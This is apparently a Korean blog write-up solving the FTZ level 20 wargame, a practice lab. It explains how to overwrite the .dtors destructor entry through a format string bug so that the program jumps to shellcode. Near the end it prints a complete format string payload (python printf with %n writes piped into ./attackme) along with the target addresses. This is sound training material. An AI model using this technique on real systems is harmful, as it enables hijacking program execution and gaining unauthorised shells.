[FTZ] level 20 - 2

2018. 3. 30. 00:46

저번에 하다가 망해버려서... 다른 사람들 writeup을 봣다.


재미있는 걸 알았는데... 바로 정리정리



.dtors

- GNU 컴파일러로 컴파일 된 프로그램은 소멸자생성자의 테이블 섹션인 .dtors와 .ctors를 생성

생성자 함수와 ctors 섹션은 main()이 실행되기 전에 호출되고, 소멸자함수와 .dtors 섹션은 main()이 exit 시스템콜로 종료되기 직전에 호출된다.



그러므로 여기서는 main()의 ret영역 대신 이 .dtors 영역을 이용해 실행흐름을 변경하면 된다.



음... 사람들 마다 말하는게 좀 다른거같은데... 소멸자가 main()이 종료된 후 실행된다는데


찾아보니


 .dtors


080abcde d __DTOR_END__


소멸자로 프로그램이 종료되기 전에 여기에 명시되있는 함수가 호출되는듯 


- 모든 실행 프로그램안에는 __do_global_dtors()라는 함수가 있다.

- 이 함수는 소멸자로서 dtors섹션+4 번째 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행을 시킨다.

- 프로그램 자체에서 소멸자함수를 호출하지 않을 경우 dtros + 4번째 메모리값은 0이 기본으로 되어있다.


FSB로 dtors+4번째 있는 값(__DTOR_END__이다)을 쉘코드 주소로 바꿀경우 소멸자가 호출될때 실행이 된다. 



일단 .dtors의 주소를 찾자.



찾았다. 쉘코드 주소를 덮어쓸 장소는 저기다.


쉘코드는 저번글에서 이미 등록했고... 주소를 구하면 0xbfffc430인데 nop값이 있으니 여유있게 1000정도 더해주자



자... 이제 payload만 구성하면 될듯하다.


.dtors + 4 : 0x08049598

shellcode : 0xbfffc818


(python -c 'print("\x98\x95\x04\x08"+"\x99\x95\x04\x08"+"\x9a\x95\x04\x08"+"\x9b\x95\x04\x08"+"%8x"+"%4$n"+"%176x"+"%5$n"+"%55x"+"%6$n"+"%192x"+"%7$n")'; cat) | ./attackme



몇시간 삽질했지만... 풀었다 후..;;


이렇게 빨리 풀릴걸 삽질햇네 ㅡㅡ;

'Wargame > LOB' 카테고리의 다른 글

[LOB] goblin -> orc  (0) 2018.03.30
[LOB] cobolt -> goblin  (0) 2018.03.30
[LOB] gremlin -> cobolt  (0) 2018.03.30
[LOB] gate -> gremlin  (0) 2018.03.30
[FTZ] level 20  (1) 2018.03.28

+ Recent posts